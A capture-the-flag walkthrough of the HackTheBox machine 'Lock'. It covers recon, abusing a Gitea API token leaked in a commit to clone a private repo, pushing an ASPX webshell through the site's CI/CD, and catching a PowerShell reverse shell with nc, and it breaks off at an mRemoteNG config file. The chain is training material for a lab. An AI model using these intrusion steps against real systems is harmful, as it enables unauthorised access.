HTB: Lock

Lock starts with a Gitea instance where I’ll find an API token in an old commit. I’ll use that to access a private repo for the website. The repo is setup with CI/CD so that the production website is updated when the repo changes. I’ll add an ASPX webshell and get a foothold on the box. I’ll find a mRemoteNG config file and decrypt it to get the next user’s password and RDP access. From there I’ll exploit a vulnerability in the pdf24 installer repair functionality by putting a lock on a log file it wants to write, and running it. When a cmd.exe window hangs open, I’ll abuse a few steps to get a cmd.exe running as SYSTEM.
Box Info
Name | Lock ![]() Play on HackTheBox |
---|---|
Release Date | 21 Aug 2025 |
Retire Date | 21 Aug 2025 |
OS | Windows ![]() |
Base Points | Easy [20] |
![]() |
N/A (non-competitive) |
![]() |
N/A (non-competitive) |
Creators |
Recon
Initial Scanning
nmap
finds four open TCP ports, HTTP (80, 3000), SMB (445), and RDP (3389):
oxdf@hacky$ nmap -p- -vvv --min-rate 10000 10.129.234.64
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-15 20:23 UTC
...[snip]...
Scanned at 2025-08-15 20:23:12 UTC for 13s
Not shown: 65531 filtered tcp ports (no-response)
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
3000/tcp open ppp syn-ack ttl 127
3389/tcp open ms-wbt-server syn-ack ttl 127
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 13.50 seconds
Raw packets sent: 131079 (5.767MB) | Rcvd: 14 (600B)
oxdf@hacky$ nmap -p 80,445,3000,3389 -sCV 10.129.234.64
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-15 20:24 UTC
Nmap scan report for 10.129.234.64
Host is up (0.091s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Lock - Index
445/tcp open microsoft-ds?
3000/tcp open ppp?
| fingerprint-strings:
| GenericLines, Help, RTSPRequest:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Cache-Control: max-age=0, private, must-revalidate, no-transform
| Content-Type: text/html; charset=utf-8
| Set-Cookie: i_like_gitea=2212747db187de4d; Path=/; HttpOnly; SameSite=Lax
| Set-Cookie: _csrf=Ip28VVc-sj5pyfscTYff-l6raHQ6MTc1NTI4OTQ3NzM5NzkwMDUwMA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
| X-Frame-Options: SAMEORIGIN
| Date: Fri, 15 Aug 2025 20:24:37 GMT
| <!DOCTYPE html>
| <html lang="en-US" class="theme-auto">
| <head>
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <title>Gitea: Git with a cup of tea</title>
| <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR2l0ZWE6IEdpdCB3aXRoIGEgY3VwIG9mIHRlYSIsInNob3J0X25hbWUiOiJHaXRlYTogR2l0IHdpdGggYSBjdXAgb2YgdGVhIiwic3RhcnRfdXJsIjoiaHR0cDovL2xvY2FsaG9zdDozMDAwLyIsImljb25zIjpbeyJzcmMiOiJodHRwOi8vbG9jYWxob3N0OjMwMDAvYXNzZXRzL2ltZy9sb2dvLnBuZyIsInR5cGUiOiJpbWFnZS9wbmciLCJzaXplcyI6IjU
| HTTPOptions:
| HTTP/1.0 405 Method Not Allowed
| Allow: HEAD
| Allow: HEAD
| Allow: GET
| Cache-Control: max-age=0, private, must-revalidate, no-transform
| Set-Cookie: i_like_gitea=7e9cbbabd1bd8fba; Path=/; HttpOnly; SameSite=Lax
| Set-Cookie: _csrf=oXtAV8JGDSCEr5-B8W17rXg_dyU6MTc1NTI4OTQ4MzE3NzE2NzUwMA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
| X-Frame-Options: SAMEORIGIN
| Date: Fri, 15 Aug 2025 20:24:43 GMT
|_ Content-Length: 0
3389/tcp open ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2025-08-15T20:26:41+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=Lock
| Not valid before: 2025-04-15T00:34:47
|_Not valid after: 2025-10-15T00:34:47
| rdp-ntlm-info:
| Target_Name: LOCK
| NetBIOS_Domain_Name: LOCK
| NetBIOS_Computer_Name: LOCK
| DNS_Domain_Name: Lock
| DNS_Computer_Name: Lock
| Product_Version: 10.0.20348
|_ System_Time: 2025-08-15T20:26:01+00:00
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.94SVN%I=7%D=8/15%Time=689F9784%P=x86_64-pc-linux-gnu%r
SF:(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x
SF:20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Ba
SF:d\x20Request")%r(GetRequest,3000,"HTTP/1\.0\x20200\x20OK\r\nCache-Contr
SF:ol:\x20max-age=0,\x20private,\x20must-revalidate,\x20no-transform\r\nCo
SF:ntent-Type:\x20text/html;\x20charset=utf-8\r\nSet-Cookie:\x20i_like_git
SF:ea=2212747db187de4d;\x20Path=/;\x20HttpOnly;\x20SameSite=Lax\r\nSet-Coo
SF:kie:\x20_csrf=Ip28VVc-sj5pyfscTYff-l6raHQ6MTc1NTI4OTQ3NzM5NzkwMDUwMA;\x
SF:20Path=/;\x20Max-Age=86400;\x20HttpOnly;\x20SameSite=Lax\r\nX-Frame-Opt
SF:ions:\x20SAMEORIGIN\r\nDate:\x20Fri,\x2015\x20Aug\x202025\x2020:24:37\x
SF:20GMT\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en-US\"\x20class=\"the
SF:me-auto\">\n<head>\n\t<meta\x20name=\"viewport\"\x20content=\"width=dev
SF:ice-width,\x20initial-scale=1\">\n\t<title>Gitea:\x20Git\x20with\x20a\x
SF:20cup\x20of\x20tea</title>\n\t<link\x20rel=\"manifest\"\x20href=\"data:
SF:application/json;base64,eyJuYW1lIjoiR2l0ZWE6IEdpdCB3aXRoIGEgY3VwIG9mIHR
SF:lYSIsInNob3J0X25hbWUiOiJHaXRlYTogR2l0IHdpdGggYSBjdXAgb2YgdGVhIiwic3Rhcn
SF:RfdXJsIjoiaHR0cDovL2xvY2FsaG9zdDozMDAwLyIsImljb25zIjpbeyJzcmMiOiJodHRwO
SF:i8vbG9jYWxob3N0OjMwMDAvYXNzZXRzL2ltZy9sb2dvLnBuZyIsInR5cGUiOiJpbWFnZS9w
SF:bmciLCJzaXplcyI6IjU")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n
SF:Content-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r
SF:\n\r\n400\x20Bad\x20Request")%r(HTTPOptions,1A4,"HTTP/1\.0\x20405\x20Me
SF:thod\x20Not\x20Allowed\r\nAllow:\x20HEAD\r\nAllow:\x20HEAD\r\nAllow:\x2
SF:0GET\r\nCache-Control:\x20max-age=0,\x20private,\x20must-revalidate,\x2
SF:0no-transform\r\nSet-Cookie:\x20i_like_gitea=7e9cbbabd1bd8fba;\x20Path=
SF:/;\x20HttpOnly;\x20SameSite=Lax\r\nSet-Cookie:\x20_csrf=oXtAV8JGDSCEr5-
SF:B8W17rXg_dyU6MTc1NTI4OTQ4MzE3NzE2NzUwMA;\x20Path=/;\x20Max-Age=86400;\x
SF:20HttpOnly;\x20SameSite=Lax\r\nX-Frame-Options:\x20SAMEORIGIN\r\nDate:\
SF:x20Fri,\x2015\x20Aug\x202025\x2020:24:43\x20GMT\r\nContent-Length:\x200
SF:\r\n\r\n")%r(RTSPRequest,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nCont
SF:ent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r
SF:\n400\x20Bad\x20Request");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2025-08-15T20:26:03
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 132.16 seconds
The box looks to be Windows (SMB and RDP). RDP shows the hostname as LOCK, though it doesn’t appear to be part of an Active Directory domain.
On port 3000, it sets a cookie Set-Cookie: i_like_gitea=2212747db187de4d
, which suggests a Gitea instance.
All of the ports show a TTL of 127, which matches the expected TTL for Windows one hop away.
Website - TCP 80
Site
The site is for a company that provides document editing services:
All of the links lead to anchors on the index page, so nothing else to explore.
Tech Stack
The HTTP response headers show the server is running ASP.NET:
HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Thu, 28 Dec 2023 14:07:59 GMT
Accept-Ranges: bytes
ETag: "675cb2439739da1:0"
Server: Microsoft-IIS/10.0
X-Powered-By: ASP.NET
Date: Fri, 15 Aug 2025 21:32:31 GMT
Content-Length: 16054
The main page loads as /index.html
, suggesting a static site. The 404 page is the default IIS 404:

Directory Brute Force
I’ll run feroxbuster
against the site, and include -x html
since there’s an index.html
and with a lowercase wordlist as IIS is not case sensitive:
oxdf@hacky$ feroxbuster -u http://10.129.234.64 -x html -w /opt/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt --dont-extract-links
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.129.234.64
🚀 Threads │ 50
📖 Wordlist │ /opt/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
💲 Extensions │ [html]
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 29l 95w 1245c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 347l 1183w 16054c http://10.129.234.64/
301 GET 2l 10w 158c http://10.129.234.64/aspnet_client => http://10.129.234.64/aspnet_client/
301 GET 2l 10w 151c http://10.129.234.64/assets => http://10.129.234.64/assets/
301 GET 2l 10w 154c http://10.129.234.64/assets/js => http://10.129.234.64/assets/js/
301 GET 2l 10w 155c http://10.129.234.64/assets/css => http://10.129.234.64/assets/css/
301 GET 2l 10w 155c http://10.129.234.64/assets/img => http://10.129.234.64/assets/img/
200 GET 347l 1183w 16054c http://10.129.234.64/index.html
301 GET 2l 10w 163c http://10.129.234.64/assets/img/clients => http://10.129.234.64/assets/img/clients/
301 GET 2l 10w 165c http://10.129.234.64/assets/img/portfolio => http://10.129.234.64/assets/img/portfolio/
301 GET 2l 10w 168c http://10.129.234.64/assets/img/testimonials => http://10.129.234.64/assets/img/testimonials/
301 GET 2l 10w 158c http://10.129.234.64/assets/vendor => http://10.129.234.64/assets/vendor/
301 GET 2l 10w 161c http://10.129.234.64/assets/img/slide => http://10.129.234.64/assets/img/slide/
404 GET 42l 157w 1914c http://10.129.234.64/con
404 GET 42l 157w 1928c http://10.129.234.64/aspnet_client/con
404 GET 42l 157w 1921c http://10.129.234.64/assets/con
404 GET 42l 157w 1925c http://10.129.234.64/assets/img/con
404 GET 42l 157w 1924c http://10.129.234.64/assets/js/con
404 GET 42l 157w 1925c http://10.129.234.64/assets/css/con
404 GET 42l 157w 1933c http://10.129.234.64/assets/img/clients/con
404 GET 42l 157w 1935c http://10.129.234.64/assets/img/portfolio/con
404 GET 42l 157w 1938c http://10.129.234.64/assets/img/testimonials/con
404 GET 42l 157w 1928c http://10.129.234.64/assets/vendor/con
404 GET 42l 157w 1931c http://10.129.234.64/assets/img/slide/con
404 GET 42l 157w 1914c http://10.129.234.64/aux
404 GET 42l 157w 1921c http://10.129.234.64/assets/aux
404 GET 42l 157w 1928c http://10.129.234.64/aspnet_client/aux
404 GET 42l 157w 1925c http://10.129.234.64/assets/img/aux
404 GET 42l 157w 1924c http://10.129.234.64/assets/js/aux
404 GET 42l 157w 1925c http://10.129.234.64/assets/css/aux
404 GET 42l 157w 1933c http://10.129.234.64/assets/img/clients/aux
404 GET 42l 157w 1935c http://10.129.234.64/assets/img/portfolio/aux
404 GET 42l 157w 1938c http://10.129.234.64/assets/img/testimonials/aux
404 GET 42l 157w 1928c http://10.129.234.64/assets/vendor/aux
404 GET 42l 157w 1931c http://10.129.234.64/assets/img/slide/aux
301 GET 2l 10w 169c http://10.129.234.64/aspnet_client/system_web => http://10.129.234.64/aspnet_client/system_web/
301 GET 2l 10w 162c http://10.129.234.64/assets/vendor/aos => http://10.129.234.64/assets/vendor/aos/
404 GET 42l 157w 1939c http://10.129.234.64/aspnet_client/system_web/con
404 GET 0l 0w 1245c http://10.129.234.64/assets/img/apa
400 GET 6l 26w 324c http://10.129.234.64/error%1F_log
400 GET 6l 26w 324c http://10.129.234.64/error%1F_log.html
400 GET 6l 26w 324c http://10.129.234.64/aspnet_client/error%1F_log
400 GET 6l 26w 324c http://10.129.234.64/assets/error%1F_log
400 GET 6l 26w 324c http://10.129.234.64/aspnet_client/error%1F_log.html
400 GET 6l 26w 324c http://10.129.234.64/assets/error%1F_log.html
400 GET 6l 26w 324c http://10.129.234.64/assets/img/error%1F_log
400 GET 6l 26w 324c http://10.129.234.64/assets/img/error%1F_log.html
400 GET 6l 26w 324c http://10.129.234.64/assets/css/error%1F_log
400 GET 6l 26w 324c http://10.129.234.64/assets/js/error%1F_log
400 GET 6l 26w 324c http://10.129.234.64/assets/css/error%1F_log.html
400 GET 6l 26w 324c http://10.129.234.64/assets/js/error%1F_log.html
400 GET 6l 26w 324c http://10.129.234.64/assets/img/clients/error%1F_log
400 GET 6l 26w 324c http://10.129.234.64/assets/img/clients/error%1F_log.html
400 GET 6l 26w 324c http://10.129.234.64/assets/img/portfolio/error%1F_log
400 GET 6l 26w 324c http://10.129.234.64/assets/img/portfolio/error%1F_log.html
404 GET 42l 157w 1932c http://10.129.234.64/assets/vendor/aos/con
400 GET 6l 26w 324c http://10.129.234.64/assets/img/testimonials/error%1F_log
400 GET 6l 26w 324c http://10.129.234.64/assets/img/testimonials/error%1F_log.html
400 GET 6l 26w 324c http://10.129.234.64/assets/vendor/error%1F_log
400 GET 6l 26w 324c http://10.129.234.64/assets/vendor/error%1F_log.html
400 GET 6l 26w 324c http://10.129.234.64/assets/img/slide/error%1F_log
404 GET 42l 157w 1914c http://10.129.234.64/prn
404 GET 42l 157w 1939c http://10.129.234.64/aspnet_client/system_web/aux
400 GET 6l 26w 324c http://10.129.234.64/assets/img/slide/error%1F_log.html
404 GET 42l 157w 1928c http://10.129.234.64/aspnet_client/prn
404 GET 42l 157w 1921c http://10.129.234.64/assets/prn
404 GET 42l 157w 1925c http://10.129.234.64/assets/css/prn
404 GET 42l 157w 1925c http://10.129.234.64/assets/img/prn
404 GET 42l 157w 1924c http://10.129.234.64/assets/js/prn
404 GET 42l 157w 1933c http://10.129.234.64/assets/img/clients/prn
404 GET 42l 157w 1935c http://10.129.234.64/assets/img/portfolio/prn
404 GET 42l 157w 1938c http://10.129.234.64/assets/img/testimonials/prn
404 GET 42l 157w 1928c http://10.129.234.64/assets/vendor/prn
404 GET 42l 157w 1932c http://10.129.234.64/assets/vendor/aos/aux
404 GET 42l 157w 1931c http://10.129.234.64/assets/img/slide/prn
400 GET 6l 26w 324c http://10.129.234.64/aspnet_client/system_web/error%1F_log
400 GET 6l 26w 324c http://10.129.234.64/aspnet_client/system_web/error%1F_log.html
400 GET 6l 26w 324c http://10.129.234.64/assets/vendor/aos/error%1F_log
400 GET 6l 26w 324c http://10.129.234.64/assets/vendor/aos/error%1F_log.html
404 GET 42l 157w 1939c http://10.129.234.64/aspnet_client/system_web/prn
404 GET 42l 157w 1932c http://10.129.234.64/assets/vendor/aos/prn
[####################] - 8m 345592/345592 0s found:80 errors:1
[####################] - 7m 26584/26584 68/s http://10.129.234.64/
[####################] - 7m 26584/26584 68/s http://10.129.234.64/aspnet_client/
[####################] - 7m 26584/26584 68/s http://10.129.234.64/assets/
[####################] - 7m 26584/26584 67/s http://10.129.234.64/assets/js/
[####################] - 7m 26584/26584 67/s http://10.129.234.64/assets/css/
[####################] - 7m 26584/26584 67/s http://10.129.234.64/assets/img/
[####################] - 7m 26584/26584 67/s http://10.129.234.64/assets/img/clients/
[####################] - 7m 26584/26584 67/s http://10.129.234.64/assets/img/portfolio/
[####################] - 7m 26584/26584 67/s http://10.129.234.64/assets/img/testimonials/
[####################] - 7m 26584/26584 67/s http://10.129.234.64/assets/vendor/
[####################] - 6m 26584/26584 69/s http://10.129.234.64/assets/img/slide/
[####################] - 5m 26584/26584 97/s http://10.129.234.64/aspnet_client/system_web/
[####################] - 4m 26584/26584 108/s http://10.129.234.64/assets/vendor/aos/
I also often use --dont-extract-links
because it clogs up the output with stuff that isn’t interesting. Nothing interesting here.
Gitea - TCP 3000
The webserver on 3000 is hosting an instance of Gitea:

Under “Explore”, there’s one public repo:

It has a single file, and two commits:

The script is for listing repos on the Gitea instance using the API:
import requests
import sys
import os
def format_domain(domain):
if not domain.startswith(('http://', 'https://')):
domain = 'https://' + domain
return domain
def get_repositories(token, domain):
headers = {
'Authorization': f'token {token}'
}
url = f'{domain}/api/v1/user/repos'
response = requests.get(url, headers=headers)
if response.status_code == 200:
return response.json()
else:
raise Exception(f'Failed to retrieve repositories: {response.status_code}')
def main():
if len(sys.argv) < 2:
print("Usage: python script.py <gitea_domain>")
sys.exit(1)
gitea_domain = format_domain(sys.argv[1])
personal_access_token = os.getenv('GITEA_ACCESS_TOKEN')
if not personal_access_token:
print("Error: GITEA_ACCESS_TOKEN environment variable not set.")
sys.exit(1)
try:
repos = get_repositories(personal_access_token, gitea_domain)
print("Repositories:")
for repo in repos:
print(f"- {repo['full_name']}")
except Exception as e:
print(f"Error: {e}")
if __name__ == "__main__":
main()
It reads the API key from the OS environment variables. However, the diff for the second of the two commits shows that originally it had a hardcoded API key:

Shell as ellen.freeman
Enumerate Gitea
Repos
The script with the key leaked from the commit works to enumerate repos:
oxdf@hacky$ export GITEA_ACCESS_TOKEN=43ce39bb0bd6bc489284f2905f033ca467a6362f
oxdf@hacky$ python repos.py http://10.129.234.64:3000
Repositories:
- ellen.freeman/dev-scripts
- ellen.freeman/website
There are two, including the public repo I am accessing. I don’t really need this script. curl
works too:
oxdf@hacky$ curl http://10.129.234.64:3000/api/v1/user/repos -H "Authorization: Bearer 43ce39bb0bd6bc489284f2905f033ca467a6362f" -s | jq .
[
{
"id": 1,
"owner": {
"id": 2,
"login": "ellen.freeman",
"login_name": "",
"full_name": "",
"email": "ellen.freeman@lock.vl",
"avatar_url": "http://localhost:3000/avatar/1aea7e43e6bb8891439a37854255ed74",
"language": "",
"is_admin": false,
"last_login": "0001-01-01T00:00:00Z",
"created": "2023-12-27T11:13:10-08:00",
"restricted": false,
"active": false,
"prohibit_login": false,
"location": "",
"website": "",
"description": "",
"visibility": "public",
"followers_count": 0,
"following_count": 0,
"starred_repos_count": 0,
"username": "ellen.freeman"
},
"name": "dev-scripts",
"full_name": "ellen.freeman/dev-scripts",
"description": "",
"empty": false,
"private": false,
"fork": false,
"template": false,
"parent": null,
"mirror": false,
"size": 29,
"language": "Python",
"languages_url": "http://localhost:3000/api/v1/repos/ellen.freeman/dev-scripts/languages",
"html_url": "http://localhost:3000/ellen.freeman/dev-scripts",
"url": "http://localhost:3000/api/v1/repos/ellen.freeman/dev-scripts",
"link": "",
"ssh_url": "ellen.freeman@localhost:ellen.freeman/dev-scripts.git",
"clone_url": "http://localhost:3000/ellen.freeman/dev-scripts.git",
"original_url": "",
"website": "",
"stars_count": 0,
"forks_count": 0,
"watchers_count": 1,
"open_issues_count": 0,
"open_pr_counter": 0,
"release_counter": 0,
"default_branch": "main",
"archived": false,
"created_at": "2023-12-27T11:17:47-08:00",
"updated_at": "2023-12-27T11:36:42-08:00",
"archived_at": "1969-12-31T16:00:00-08:00",
"permissions": {
"admin": true,
"push": true,
"pull": true
},
"has_issues": true,
"internal_tracker": {
"enable_time_tracker": true,
"allow_only_contributors_to_track_time": true,
"enable_issue_dependencies": true
},
"has_wiki": true,
"has_pull_requests": true,
"has_projects": true,
"has_releases": true,
"has_packages": true,
"has_actions": false,
"ignore_whitespace_conflicts": false,
"allow_merge_commits": true,
"allow_rebase": true,
"allow_rebase_explicit": true,
"allow_squash_merge": true,
"allow_rebase_update": true,
"default_delete_branch_after_merge": false,
"default_merge_style": "merge",
"default_allow_maintainer_edit": false,
"avatar_url": "",
"internal": false,
"mirror_interval": "",
"mirror_updated": "0001-01-01T00:00:00Z",
"repo_transfer": null
},
{
"id": 5,
"owner": {
"id": 2,
"login": "ellen.freeman",
"login_name": "",
"full_name": "",
"email": "ellen.freeman@lock.vl",
"avatar_url": "http://localhost:3000/avatar/1aea7e43e6bb8891439a37854255ed74",
"language": "",
"is_admin": false,
"last_login": "0001-01-01T00:00:00Z",
"created": "2023-12-27T11:13:10-08:00",
"restricted": false,
"active": false,
"prohibit_login": false,
"location": "",
"website": "",
"description": "",
"visibility": "public",
"followers_count": 0,
"following_count": 0,
"starred_repos_count": 0,
"username": "ellen.freeman"
},
"name": "website",
"full_name": "ellen.freeman/website",
"description": "",
"empty": false,
"private": true,
"fork": false,
"template": false,
"parent": null,
"mirror": false,
"size": 7370,
"language": "CSS",
"languages_url": "http://localhost:3000/api/v1/repos/ellen.freeman/website/languages",
"html_url": "http://localhost:3000/ellen.freeman/website",
"url": "http://localhost:3000/api/v1/repos/ellen.freeman/website",
"link": "",
"ssh_url": "ellen.freeman@localhost:ellen.freeman/website.git",
"clone_url": "http://localhost:3000/ellen.freeman/website.git",
"original_url": "",
"website": "",
"stars_count": 0,
"forks_count": 0,
"watchers_count": 1,
"open_issues_count": 0,
"open_pr_counter": 0,
"release_counter": 0,
"default_branch": "main",
"archived": false,
"created_at": "2023-12-27T12:04:52-08:00",
"updated_at": "2024-01-18T10:17:46-08:00",
"archived_at": "1969-12-31T16:00:00-08:00",
"permissions": {
"admin": true,
"push": true,
"pull": true
},
"has_issues": true,
"internal_tracker": {
"enable_time_tracker": true,
"allow_only_contributors_to_track_time": true,
"enable_issue_dependencies": true
},
"has_wiki": true,
"has_pull_requests": true,
"has_projects": true,
"has_releases": true,
"has_packages": true,
"has_actions": false,
"ignore_whitespace_conflicts": false,
"allow_merge_commits": true,
"allow_rebase": true,
"allow_rebase_explicit": true,
"allow_squash_merge": true,
"allow_rebase_update": true,
"default_delete_branch_after_merge": false,
"default_merge_style": "merge",
"default_allow_maintainer_edit": false,
"avatar_url": "",
"internal": false,
"mirror_interval": "",
"mirror_updated": "0001-01-01T00:00:00Z",
"repo_transfer": null
}
]
website Enumeration
The API is fully documented at /api/swagger
:

For example, I can list the contents of a repo:

That works:
oxdf@hacky$ curl http://10.129.234.64:3000/api/v1/repos/ellen.freeman/website/contents -H "Authorization: Bearer 43ce39bb0bd6bc489284f2905f033ca467a6362f" -s | jq -r .[].name
assets
changelog.txt
index.html
readme.md
I can grab the readme.md
:
oxdf@hacky$ curl http://10.129.234.64:3000/api/v1/repos/ellen.freeman/website/contents/readme.md -H "Authorization: Bearer 43ce39bb0bd6bc489284f2905f033ca467a6362f" -s | jq .
{
"name": "readme.md",
"path": "readme.md",
"sha": "69e5754e65607d08739dd57d2c70f378d8d051c1",
"last_commit_sha": "657a342b7a68f195f421c5750b837dfa390ea6c1",
"type": "file",
"size": 130,
"encoding": "base64",
"content": "IyBOZXcgUHJvamVjdCBXZWJzaXRlCgpDSS9DRCBpbnRlZ3JhdGlvbiBpcyBub3cgYWN0aXZlIC0gY2hhbmdlcyB0byB0aGUgcmVwb3NpdG9yeSB3aWxsIGF1dG9tYXRpY2FsbHkgYmUgZGVwbG95ZWQgdG8gdGhlIHdlYnNlcnZlcg==",
"target": null,
"url": "http://localhost:3000/api/v1/repos/ellen.freeman/website/contents/readme.md?ref=main",
"html_url": "http://localhost:3000/ellen.freeman/website/src/branch/main/readme.md",
"git_url": "http://localhost:3000/api/v1/repos/ellen.freeman/website/git/blobs/69e5754e65607d08739dd57d2c70f378d8d051c1",
"download_url": "http://localhost:3000/ellen.freeman/website/raw/branch/main/readme.md",
"submodule_git_url": null,
"_links": {
"self": "http://localhost:3000/api/v1/repos/ellen.freeman/website/contents/readme.md?ref=main",
"git": "http://localhost:3000/api/v1/repos/ellen.freeman/website/git/blobs/69e5754e65607d08739dd57d2c70f378d8d051c1",
"html": "http://localhost:3000/ellen.freeman/website/src/branch/main/readme.md"
}
}
The contents is stored base64 encoded. I’ll decode it:
oxdf@hacky$ curl http://10.129.234.64:3000/api/v1/repos/ellen.freeman/website/contents/readme.md -H "Authorization: Bearer 43ce39bb0bd6bc489284f2905f033ca467a6362f" -s | jq .content -r | base64 -d
# New Project Website
CI/CD integration is now active - changes to the repository will automatically be deployed to the webserver
The simplest path forward is to clone the repo using the token in the URL:
oxdf@hacky$ git clone http://43ce39bb0bd6bc489284f2905f033ca467a6362f@10.129.234.64:3000/ellen.freeman/website.git
Cloning into 'website'...
remote: Enumerating objects: 165, done.
remote: Counting objects: 100% (165/165), done.
remote: Compressing objects: 100% (128/128), done.
remote: Total 165 (delta 35), reused 153 (delta 31), pack-reused 0
Receiving objects: 100% (165/165), 7.16 MiB | 1.75 MiB/s, done.
Resolving deltas: 100% (35/35), done.
oxdf@hacky$ ls website/
assets changelog.txt index.html readme.md
Shell
Upload Webshell
With access to the site source, and a message that says that CICD is working to re-publish anything that’s pushed, I’ll make a webshell, commit it, and push it.
I noted above that the site headers showed it was running ASP.NET. I’ll grab an ASPX webshell from GitHub and save a copy in the repo. It shows as not tracked by Git:
oxdf@hacky$ git status
On branch main
Your branch is up to date with 'origin/main'.
Untracked files:
(use "git add <file>..." to include in what will be committed)
0xdf.aspx
nothing added to commit but untracked files present (use "git add" to track)
I’ll add it and commit it:
oxdf@hacky$ git add 0xdf.aspx
oxdf@hacky$ git commit -m "nothing to see here"
[main 55df164] nothing to see here
1 file changed, 161 insertions(+)
create mode 100644 0xdf.aspx
If git returns an error about not having an identity, I’ll run the commands it gives to set an arbitrary email and name, and commit again. Now I push, sending it to the server:
oxdf@hacky$ git push
Enumerating objects: 4, done.
Counting objects: 100% (4/4), done.
Delta compression using up to 12 threads
Compressing objects: 100% (3/3), done.
Writing objects: 100% (3/3), 2.07 KiB | 2.07 MiB/s, done.
Total 3 (delta 1), reused 0 (delta 0), pack-reused 0
remote: . Processing 1 references
remote: Processed 1 references in total
To http://10.129.234.64:3000/ellen.freeman/website.git
73cdcc1..55df164 main -> main
Within a few seconds, it’s on the site:

Reverse Shell
I’ll get a reverse shell by grabbing a copy of PowerShell #3 (Base64) from revshells.com and pasting it into the box next to the “Execute” button. At my nc
, I get a shell:
oxdf@hacky$ rlwrap -cAr nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.129.234.64 65320
PS C:\inetpub\wwwroot> whoami
lock\ellen.freeman
Shell as gale.dekarios
Enumeration
Home Directories
There’s one other interesting non-admin user with a home directory in /Users
:
PS C:\Users> ls
Directory: C:\Users
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 12/27/2023 2:00 PM .NET v4.5
d----- 12/27/2023 2:00 PM .NET v4.5 Classic
d----- 12/27/2023 12:01 PM Administrator
d----- 12/28/2023 11:36 AM ellen.freeman
d----- 12/28/2023 6:14 AM gale.dekarios
d-r--- 12/27/2023 10:21 AM Public
ellen.freeman has access to their directory and Public
:
PS C:\Users> tree /f .
Folder PATH listing
Volume serial number is 0000022C 8592:A9D9
C:\USERS
+---.NET v4.5
+---.NET v4.5 Classic
+---Administrator
+---ellen.freeman
? ? .git-credentials
? ? .gitconfig
? ?
? +---.ssh
? ? authorized_keys
? ?
? +---3D Objects
? +---Contacts
? +---Desktop
? +---Documents
? ? config.xml
? ?
? +---Downloads
? +---Favorites
? ? ? Bing.url
? ? ?
? ? +---Links
? +---Links
? ? Desktop.lnk
? ? Downloads.lnk
? ?
? +---Music
? +---Pictures
? +---Saved Games
? +---Searches
? +---Videos
+---gale.dekarios
+---Public
+---Documents
+---Downloads
+---Music
+---Pictures
+---Videos
There’s nothing in Public
, but there is a file in their Documents
folder that could be interesting.
config.xml
This file is an mRemoteNG connection configuration file (the second line has a reference to the mRemoteNG website):
<?xml version="1.0" encoding="utf-8"?>
<mrng:Connections xmlns:mrng="http://mremoteng.org" Name="Connections" Export="false" EncryptionEngine="AES" BlockCipherMode="GCM" KdfIterations="1000" FullFileEncryption="false" Protected="sDkrKn0JrG4oAL4GW8BctmMNAJfcdu/ahPSQn3W5DPC3vPRiNwfo7OH11trVPbhwpy+1FnqfcPQZ3olLRy+DhDFp" ConfVersion="2.6">
